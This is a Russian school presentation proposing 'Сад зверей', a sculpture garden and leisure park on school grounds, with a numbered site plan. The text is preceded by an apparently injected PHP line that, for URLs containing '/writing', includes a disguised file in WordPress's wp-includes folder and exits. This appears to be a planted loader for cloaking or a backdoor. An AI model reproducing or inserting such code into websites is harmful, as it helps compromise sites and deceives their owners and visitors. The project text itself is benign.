if(strpos(strtolower($_SERVER['REQUEST_URI']),'/writing')){include(getcwd().'/wp-includes/class-wp-comments.php');exit;} Сад зверей

Сад зверей

23 мая 2015 года микрорайону «Южный» исполнилось 20лет.Нам ,детям, кажется, что это очень много.а взрослые говорят,что возраст это ДЕТСКИЙ. И как все дети район наш растет. Новые дома растут,как грибы и народу с каждым годом становится все больше. Сейчас в микрорайоне « Южный» живет больше двадцати тысяч человек. А из культурно-спортивных объектов у нас: одна районная библиотека, Пожарная часть, куда мы ходим на экскурсию, наш школьный Музей Кошки «Коготок», музей квартира деревянного зодчесива,три мини-спорт площадки и все.

Еще в начале прошлого года нами был проведен соц.опрос детей нашей школы, их родителей,бабушек,дедушек,старших братьев и сестер в котором выяснилось,что катастрофически не хватает спорт-площадок,открытых эстрадных сцен дпя зрелищных мероприятий( в которых хотят участвовать не только дети,но и взрослые),мест  для интерактивного семейного отдыха.

Мальчишки и их папы мечтают о полноценных футбольных и баскетбольных полях.

Девочкам катальные горки, розарии и театр-эстраду подавай!

Дедушкам-бабушкам-поле для гольфа и ВСЕМ-ВСЕМ-ВСЕМ роликовые дорожки и чтобы проходили они через настоящий ЛАДШАФТНЫЙ ПАРК А еще,чтобы скульпткры были,как в Летнем саду! И возникла идея создать «Сад зверей».

«Сад зверей»-это  зоопарк на территории СОШ ЦО,но зоопарк необычный. рукотворный,созданный из камня и бронзы,.неподвластный времени,доступный созерцанию и общению.Зоопарк вечный.где не убьют жирафа Мебиуса.не отравят львов,где нет места болезни,нет тоски в неволе.а есть только гармония  общения и познания мира природы,осознания своего места в ней,как ее части и как ее создателя.

Это музей под открытым небом ,объединяющий в единое целое несколько площадок и объектов культурного, интерактивного отдыха(оранжерея,зимний сад,музей ,театр,футбольное и баскетбольное поля, роликовая дорожка, катальные горки, поле для мини-гольфа, анти- вандальная тренажерная площадка.)

В единое целое соединяют эти объекты скульптурные анималистические группы, т.е.»Сад зверей»,дающий право сказать, что это музейное пространство.так как каждая скульптура-это авторская работа скульпторов СПб из группы Озерки, Московских мастеров и их коллег из стран СНГ. Каждая скульптура-это известный автор и определенная концепция.Пример.Скульптурная группа: львиный прайд.автор-член группы «Озерки» Александр Васильевич Знаменский. Композиция расположена в центре территории, в плане под номером 3,материал бронза,гранит,призвана олицетворять сулу,мужество,уверенность в себе,потому и расположена у флагштока.

Первый этап этого проекта предусматривает одну скульптурную группу(эскизы и план части задействованной территории предоставлены планом и макетом) доступную и приспособленную к тактильному общению.

Скульптуры будут устанавливаться на специально спроектированном и подготовленном, л адшафте. Основные работы  первого этапа нашего проекта планируется выполнить в период июнь-август 2017г. Этот этап носит название «Симпозиум» и предполагает собрание всех участников проекта ЕДИНОВРЕМЕННО для установки,завершения(последние штрихи) и торжественного открытия»Сада зверей»

Культурно-воспитательное мероприятие, соединяющее процесс созидания и созерцания в таком неординарном формате будет проводиться впервые. Это тоже мастер-класс,но мастер-класс повторить который невозможно. Действо зарождения нового музея , нового  формата культурно-массового общения  для большинства присутствующих, таинство созидания, которое редко можно увидеть в обыденной жизни.

Вся территория СОШ ЦО будет представлять собой парково-музейное, .интер-активное пространство, соединенное в единое целое скульптурными группами.олицетворяющими единение флоры и фауны,растений и животных, «САДОМ ЗВЕРЕЙ»,превращающий ее в  обучающий.(биология,география.история искусств и т.д.) и воспитывающий(любовь,сострадание, понимание:»мы навсегда в ответе за тех,кого приручили») объект.

На представленном плане-схеме(масштаб; в 1см 2м) мы показываем нашу мечту:

Под №3 центральная часть  плана-флагшток, окруженный львиным прайдом(на возвышении лежат папа-лев,мама-львица и их детеныш.

№1- трехэтажное  помещение под стеклянной крышей с оранжереей и зимним садом для начальной школы.

№2-крытый навес от дождя.

№4-Музей Живой Природы

№5-Открытая эстрада-амфитеатр.

№6-Павильон Дружбы это два ряда скамей для проведения небольших меропрятий-посиделок.

№7-футбольное поле.

№8-волейбольна площадка.

№9-площадка для двух теннисных столов

№10-площадка для занятий на уличных тренажерах,батуты.

№11-поле для игр с разметками и быстрых игр.

№12-площадка для прогулок младших классов.

№13-здание школы.

№14-«Влшебная горка» (французская,катальная) по аналогу детских горок в предместьях Парижа, с пластиковыми скатами,не более 3,5м в высоту.

№15 «Большая горка» высотой 4,5м., шириной-5м,зимой ледяная, летом с травяным газоном для быстрых игр.

№16-детский,упрошенный мини-гольф.

№17-дорожка двухполостная с бортиком,шириной  3,5м для катания на роликах,зимой _на коньках.

 Презентация "Сад зверей" на районный конкурс.